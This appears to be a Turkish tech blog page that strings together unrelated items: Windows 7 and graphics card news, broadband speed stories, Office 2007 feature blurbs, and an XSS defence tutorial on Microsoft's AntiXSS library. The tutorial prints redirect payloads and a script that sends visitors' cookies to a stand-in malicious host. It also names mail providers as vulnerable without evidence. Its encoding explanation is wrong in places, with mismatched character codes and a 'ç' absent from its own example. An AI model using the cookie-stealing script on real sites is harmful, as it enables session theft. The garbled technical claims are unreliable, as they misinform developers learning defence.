Microsoft yeni işletim sistemi Windows 7’yi 2010 yılında piyasaya sunacağını açıkladı.

Bugüne kadar piyasada Micosoft Windows 7’nin 2010 ile 2012 arasında bir tarihte satışa sunulması beklendiğne dair söylentiler dönüyordu. Bu hafta içi Orlando’da yapılan Microsoft’s Global Exchange (MGX) kongresinde, Microsoft Windows 7’nin 2009 yılı sonu ve 2010 yılının ilk günleri arasında bir tarihte piyasaya çıkacağı tüm dünyaya duyuruldu.

Kaynak:  www.chip.com

Gigabyte’ın yeni ekran kartı Shader Model 4.0 ve Microsoft DirectX® 10 gibi standartları kullanıyor.

Dünyanın önde gelen anakart ve ekran kartı üreticilerinden GIGABYTE UNITED INC., ATI’nin yeni Radeon® HD 2000 Serisi mimarisiyle birleştirilen en son 65 nanometre grafik işleme teknolojisini kullanarak grafik performansında yeni bir standart yaratan GV-RX26T256H’yi duyurdu. Yeni 65nm teknolojisi ile, GIGABYTE GV-RX26T256H önceki nesillere oranla daha az ısı üretirken, bugünün zorlu uygulamalarının üstesinden gelmek için çarpıcı şekilde daha hızlı saat ve bellek hızı rekorları sağlıyor. Ayrıca, GIGABYTE GV-RX26T256H entegre grafik çözümleri, tamamen gerçekçi, yüksek tanımlı oyun ve yüksek kalitede HD görüntü deneyimi sağlaması dahil, özellik açısından eşsiz zenginliklere sahip.

Grafik görüntü performansını en üst seviyeye çıkartmak için, GIGABYTE GV-RX26 serisi ürünler; oyunun gerçeklik seviyesini geliştirmek üzere dinamik aydınlatma ve hava gibi inanılmaz derecede ayrıntılı görsel efektler sağlamak için Shader Model 4.0 ve Microsoft DirectX® 10 başta olmak üzere, gelişmiş görsel teknoloji standartları kullanıyor. ATI’nin Avivo™ HD teknolojisini sunan GIGABYTE GV-RX26 serisi; sessiz ve soğuk işlevselliliği ile yüksek kalitede HD görüntü işleme ve ayrıca ev sineması tutkunlarını sevindirecek olan; aslına uygun, kusursuz derecede düzgün ve yeni nesil görüntüleri kayıttan oynatma için yerleşik 5.1 surround ses özelliği taşıyor.

Ayrıca; GV-RX26T256H, istenmeyen ses ve gürültüye neden olmadan, grafik işlemcisini (GPU) fansız olarak soğutmak için, doğal bir ısı yayımı sistemi oluşturmak üzere kasanın içi ve dışı arasındaki termal farktan yararlanan GIGABYTE’ın benzersiz Silent-Pipe II™ termal tasarımına sahip. GIGABYTE GV-RX26T256H, yüksek performanslı bir iç sıcaklık borusu ve sistem performansından ödün vermeden dengeli soğumayı sağlayan gelişmiş Screen-CoolingTM teknolojisi ile donatılmış durumda.

Kaynak: www.chip.com

Optik geniş bant Internet erişimiyle bir DVD filmi bilgisayarımıza 6 dakikada indirmek mümkün olacak

Newsweek dergisinin haberine göre, Güney Kore ve Japonya’da geliştirilen “optik geniş bant” internet erişimiyle 4.7 gigabyte büyüklüğünde bir filmi 6 dakikada indirmek mümkün olacak.

İnternetteki veri çokluğuna karşın bağlantı hızların düşüklüğü, özellikle Türkiye gibi internet erişiminin alınan hizmete oranla çok yüksek olduğu ülkelerde büyük bir sorun iken Japonya ve Güney Kore bağlantı hızı konusunda devrim yapmaya hazırlanıyor.

Mevcut klasik geniş bant internet bağlantılarında büyük fotoğraf, müzik ya da film indirmek oldukça uzun zaman alırken, yeni geliştirilen “optik geniş bant” internet dünyasında yeni bir çığır açacak.

Süper Hızlı İnternet
Newsweek dergisinin “Süper hızlı internet” olarak nitelendirdiği bu yöntemin fiber kablolarla evlere internet hizmeti olduğu kaydediliyor. Söz konusu iki ülkede çok sayıda insan tarafından kullanılmaya başlanan bu bağlantının saniyede 100 megabitlik bir hız sunduğu kaydediliyor. Bu bağlantı, varolan erişim hızının 20 katından daha yüksek bir erişim hızı vaat ediyor.

Optik geniş bant sistemi ile normalde yaklaşık 2 saat süren 4.7 GB boyutundaki bir filmin bilgisayara indirilmesi sadece 6 dakika sürüyor.

Hollywood Kaygılı
Ancak pek çok internet kullanıcısı için rüya gibi gelen bu bağlantı hızından rahatsızlık duyan kesimler de bulunuyor. Asya’da bulunan DVD oynatıcı üreticileri, bir filmi 6 dakikada indirebilen hiç kimsenin bir DVD oynatıcıya ihtiyacı olmayacağına inanıyor.

Bu bağlantıya sahip kişilerin yasadışı yollardan film indirebileceği inancı, Hollywood tarafında ise fikri haklar açısından kaygı yaratıyor.
Kaynak:  www.chip.com

İnternet hız rekoru İsveç’te yaşayan 75 yaşındaki bayan Sigbritt Lothberg’in evinde kırıldı.

İnternet hız rekoru İsveç’te yaşayan 75 yaşındaki Bayan Sigbritt Lothberg’in evinde kırıldı. İsveç’in Karlstad şehrinde yaşayan Lothberg’in evinden internete saniyede 40Gbit hızla bağlanıldı.

Sadece 2 saniyeden daha az bir zamanda, bir DVD filmin tamamını ev bilgisayarına indirmeye olanak tanıyan rekor bağlantı hızına bağlantıda yeni bir modülasyon tekniği kullanılması ile ulaşıldı.

Bölgenin internet sağlayıcısının teknik birimi ve Lothberg’in donanım uzmanı oğlu (hayırlı evlat) tarafından gerçekleştirilen bağlantı şu ana kadar dünyada yakalanan en yüksek internet bağlantı hızı olarak tarihe geçti.

Geceden bu yana yurtdışındaki internet sitelerine erişimde hissedilir bir yavaşlama var. Türk Telekom, bu konuda bir açıklama yapmadı.  Konu hakkında bilgi almak için Türk Telekom‘un Genel Merkezi ve Teknik Destek Hattı‘nı da aradığınızda “Ekranımızda böyle bir mesaj yok. Sorun da yok” cevabını alıyorsunuz. Oysa şu saatlerde ne YouTube‘a ne de diğer popüler yabancı sitelere (özellikle de Amerika’dan yayın yapan) erişmek istediğinizde tosbağa hızında bağlanabiliyorsunuz. Maalesef ki bu siteler arasında 100 Megabit çıkışa sahip olan SDN sunucuları da nasibini alıyor. Konuyla ilgili Türk Telekom‘dan bir açıklama bekliyoruz.

Yine mi Balina?

Her şey olabilir; balina kabloyu ısırabilir, transatlantik kabloya çarpmış olabilir, tören sırasında kurdela yerine fiberoptik kabloları kesmiş olabilirler, ya da yurtdışı çıkışı meme yapmış da olabilir… Ne olursa olsun, her şeye hazırlıklı bir şekilde açıklama bekliyoruz.

Yurtdışı internet çıkışını gösteren grafikleri sitesinden kaldıran Türk Telekom, bu arıza duyurularını yayınlamamakla ve kamuoyunu bilgilendirmemekle çok eleştiri alıyor.

Yoksa bu sıkıntılar yüzünden, yumurtaya can veren Rabbimizden, gürül gürül dataların aktığı fiberoptik kabloların biz aciz internet kullanıcılarını da nasiplendirmesi için toplu duaya çıkacağımız günler mi yakınlaşıyor.

Office Enterprise 2007, konum veya ağ durumuna bakılmaksızın, başkalarıyla işbirliği yapması ve bilgilerle verimli bir biçimde çalışması gereken kişiler için sağlanmış en eksiksiz Microsoft araç kümesidir. Office Enterprise 2007 Microsoft Office Professional Plus 2007’nin kuvvetli yönlerini temel alır ve kişilerin işbirliği içinde çalışarak her türlü bilgiyi verimlilikle toplamalarına, depolamalarına, düzenlemelerine, bulmalarına ve kolayca paylaşmalarına olanak tanıyan iki ek araç sağlar: Microsoft Office Groove 2007 ve Microsoft Office OneNote 2007. Office Groove 2007, ekiplerin, en az BT desteğiyle, konumdan bağımsız olarak birlikte çalışabilmeleri için zengin ve daha güvenli bir işbirliği ortamı sağlar. Office OneNote 2007 ise, ekiplerin daha kısa sürede daha iyi sonuçlar üretebilmeleri için, neredeyse her tür içeriğe yönelik eksiksiz bilgi yönetimi özellikleri sunar.Microsoft Office 2007 Enterprise’da mevcut olan programlar:

Microsoft Office Access 2007’deki yenilikler

Microsoft Office Access 2007 izlemeye hızlı bir şekilde başlamanız, raporlamanız ve yönetilebilir bir ortamda bilgileri paylaşmanız için etkili bir araç takımı sağlıyor. Yeni, etkileşimli tasarım yetenekleri, izleme uygulaması şablonlarının önceden oluşturulmuş kitaplığı ve Microsoft SQL Server dahil birçok kaynaktan gelen verilerle çalışabilme kabiliyetiyle, Office Access 2007, derin bir veritabanı bilgisine gerek kalmadan, çekici ve işlevsel izleme uygulamaları oluşturmanıza izin verir. Değişen iş ihtiyaçlarına göre hızla uygulama ve rapor oluşturabilir, bunları yeni ihtiyaçlara uyarlayabilirsiniz; Microsoft Windows SharePoint Services 3.0 ile yeni, iyileştirilmiş, yüzeysel olmayan tümleşmesiyle Office Access 2007 bilgileri paylaşmanıza, yönetmenize, denetlemenize ve bilgilerin yedeğini almanıza yardımcı olur.

Microsoft Office Excel 2007’deki yenilikler

Office Excel 2007, daha bilinçli kararlar almanıza yardımcı olmak için bilgileri çözümlemeye, paylaşmaya ve yönetmeye yönelik güçlü bir araçtır. Office Excel 2007 yeni, sonuca yönelik bir arabirim, oluşturulması ve kullanımı kolay Özet Tablo görünümleri, gelişmiş formül yazma ve zengin veri görüntüleme olanaklarının yanı sıra profesyonel görünümlü grafik ve tablolar oluşturmak için çok daha hızlı bir çözüm sunar. Excel Services ve Microsoft Office SharePoint Server 2007’yi kullanarak, işle ilgili önemli bilgiler içeren elektronik tabloları paylaşabilir ve yönetebilirsiniz.

Microsoft Office InfoPath 2007’deki yenilikler

Microsoft Office InfoPath 2007 programını, elektronik iş formlarını tasarlamak ve doldurmak için kullanabilirsiniz. Office InfoPath 2007 diğer 2007 Microsoft Office sistemi programları ve sunucularıyla daha iyi bütünleşme sağlar, bu da veri toplama, düzenleme ve yönetmenizi geliştirir.

Microsoft Office OneNote 2007’deki yenilikler

Microsoft Office Sistemi’nin kullanımı kolay not alma ve bilgi yönetimi programı Microsoft Office OneNote 2007’ye hoş geldiniz. Düşünce ve fikirlerinizi, daha sonra kolayca düzenleyebileceğiniz, arama yapabileceğiniz ve paylaşabileceğiniz elektronik not defterlerine kaydetmek için OneNote’u kullanın.

Microsoft Office Outlook 2007’ye Genel Bakış

Office Outlook 2007, zamanınızı ve bilgilerinizi yönetmek, sınırların ötesinde bağlantı kurmak ve size ulaşan bilgilerin denetimini elinizde tutmak için tümleşik bir çözüm sağlar. Office Outlook 2007, tek bir konumdan iletişim malzemeleriniz arasında hızla arama yapmak, çalışmanızı düzenlemek ve bilgileri başkalarıyla daha rahat paylaşmak için kullanabileceğiniz yenilikler sunar.

Microsoft Office Powerpoint 2007’deki yenilikler

Office PowerPoint 2007, çok etkili, dinamik sunuları hızla oluşturabilmenizi sağlarken, iş akışını ve bu bilgileri paylaşma yollarını da bütünleştirir. Office PowerPoint 2007, müthiş görünümlü sunular oluşturabilmeniz için yeniden tasarlanan kullanıcı arabiriminden yeni SmartArt Grafikleri ve biçimlendirme yeteneklerine kadar her şeyi sizin denetiminize sunar.

Microsoft Office Publisher 2007’deki Yenilikler

Microsoft Office Publisher 2007 uygulaması profesyonel görünümlü pazarlama ve iletişim malzemeleri oluşturmanıza, tasarlamanıza ve yayımlamanıza yardımcı olan bir işletme yayımcılığı programıdır. Profesyonel tasarım ve üretim uzmanlığı olmadan şirket içinde size ilk kavramdan son teslimata kadar kılavuzluk edecek sezgisel ve görev tabanlı bir ortamda baskı, e-posta ve Web için malzeme oluşturabilirsiniz.

Microsoft Office Word 2007’deki yenilikler

Office Word 2007, yeni bir kullanıcı arabiriminde kapsamlı bir yazı araçları kümesi sağlayarak kullanıcıların profesyonel görünümlü belgeler oluşturmasına yardımcı olur. Zengin gözden geçirme, açıklama ekleme ve karşılaştırma yetenekleri, iş arkadaşlarınızın görüşlerini kısa süre içinde toplamanıza ve bunları yönetmenize katkıda bulunur. İleri düzey veri tümleştirmesinin yardımıyla, belgelerin önemli iş bilgilerini içeren kaynaklarla bağlantılı kalmasını güvence altına alırsınız

Bu kadar bilgiden sonra Xss nin hala var olduğunu düşünerek korunma yollarımıza göz atalım.

Cross Site Scripting bilindiği gibi saadece maillerde değil web sitelerini hackleme yöntemleri arasında ‘da bulunmakta.. Ayrıntılı bilgi için Buraya Bakabilirsiniz..

Makalemizde Cross Site Scripting açığından korunmak için gerekli yolları Microsoft tarafından piyasaya sürülen program ile anlatacağım..

Öncelikle Microsoft ‘un resmi sitesindeki Microsoft.Application.Security.AntiXSS‘yazılımı bilgisayarımıza inndiriyoruz..

Kurulum evreleri Gif örneyi :

Programı install ettikten sonra artık neye yaradığından bahsedelim =)

Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 vazgeçilmez metot ile hedeften sitemizi kaçırıcaz bu metotlar ;

• HtmlEncode
• HtmlAttributeEncode
• JavaScriptEncode
• UrlEncode
• VisualBasicScriptEncode
• XmlEncode
• XmlAttributeEncode

Örnek : l

HTML Code:

tAd.Text = “‘); location.href=’[url]http://www.hackhell.com’;[/url] alert(’a”);

— Bunun yerine ;

Olması Gereken : l

Code:

tAd.Text = JavaScriptEncode(”‘); location.href=’http://hackhell.com’; alert(’a”);

Neden böyle olması gerekiyor diye kendi kendinize sorabilirsiniz ANTİXSS kütüphanesi belli başlı karakterleri ” Encode ” eder bunlar ascii değeri 160-255 olan karakterlerdir.

_______________
ProfessionaL’lar için
Biraz daha ayrıntıya inerisek;

Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.

Örneğin bir ziyaretçi defteri doldururken mesaj kısmına

Code:

<script> location.href= ‘http://www.google.com’;</script>

Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında sizin sitenizi değil, Google’ı göreceklerdir.

Ziyaretçilerin tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir.

Code:

<script>
document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document.cookie
</script>

Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.

Asp.NET programcıları bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.

Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta.

Bu da Asp.NET programcısının “Fck Editor” kullandığı sayfasının başına ValidateRequest=”false” gibi bir kodu eklemesine sebep veriyor. Bu da XSS saldırıları için bir davet anlamına gelir.

Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.

Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.

Javascript için basit bir örnek verelim.
Default.aspx dosyamızda bulunan Javascript :

Code:

<script type="text/javascript" >
        alert('Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />');
</script>

Default.aspx.cs dosyasından gönderilen bilgi :

Code:

ltAd.Text = "heLL";

Sayfa çalıştırıldığında “Merhaba heLL” şeklinde bir MessageBox çıkıyor.

“heLL” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa :

Code:

ltAd.Text = " ' location.href='http://www.google.com'; alert('a";

Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim :

Code:

<script type="text/javascript" >
alert('Merhaba '); location.href='http://www.google.com'; alert('a');
</script>

Ziyaretçi “Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur.

Bu konuda örnekler çoğaltılabilir.

Yukarıda verdiğim örnek ile ;

Code:

ltAd.Text = "');  location.href='http://www.google.com'; alert('a");

yerine;

Code:

using Microsoft.Security.Application.AntiXss;

...

ltAd.Text = 
JavaScriptEncode("'); location.href='http://www.google.com'; alert('a");

Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.

Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim :

Code:

<script type="text/javascript" >
        alert('Merhaba '\x27\x29\x3b 
        location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b 
        alert\x28\x27a');
</script>

Görüldüğü gibi “)“ işareti \x27 ye , “;” işareti \x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.

Örneğin

Code:

ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptEncode("heLL");

Şeklinde bir kullanımda ekranda “heLL” yazar ancak kaynak kodunda “ç” karakteri \u00e7 olarak kodlanmıştır.

“ç” harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7 olarak tanır. .

Saygılar…

Not: Konunun Bir Kopyası Security Bölümün’de Diğeri ise mail hacking seucirty bölümünde sabitte-kilitli olarak bulunmaktadır.

XSS Nedir?

Öncelikle her güvenlik açığı potansiyel bir saldırı nedenidir. Hacker’lar her zaman hedef ve kurban bulurlar. Beni neden hedef alsınlar dediğiniz zaman bilin ki hedefin ta kendisi oldunuz. Bilgi güvenliği, Özel Hayat Güvenliği, Günümüzde oldukça önemli.
1. Tanımadığınız ya – da tanıdığınız kişilerden sizlere gelen ve içinde sadece site ismi (url) bulunuyorsa o adrese asla tıklamayınız. Tanıdığınız kişilerden de dedim çünkü hacker’lar piyasada dolaşan bir mail hacking programı sayesinde istediği E-Posta hesabindan, İstedikleri E-Posta hesabınıza E-mail gönderebiliyorlar.
2. Size gelen ve içinde site ismi (URL) bulunan E-mail’leri gönderen kişiyi teyit ettikten sonra açınız.
3. Internet üzerinde güvenliğiniz için mutlaka ama mutlakan Anti-virüs ve Güvenlik Duvar (Firewall) yazılımlarının İKİSİNİ BİRDEN kullanınınız.
4. Yeniliklerden haberdar olmak ve güvenliğiniz için, Bizi Takip ediniz!

Hotmail XSS Herkes Biliyor , Mynettte Herkes Biliyordur
Ama Cookie Çalıp Mail Giremezler.
XSS Açığı olan Mail Sitelerini Yazayım Bilginiz olsun.

Hotmail – Mynet – Linuxmail – SkyMail – HackerMail -Mail.Ru – Yahoo – AİM – Mail.com ..vs Aklıma Gelenler Bunlar..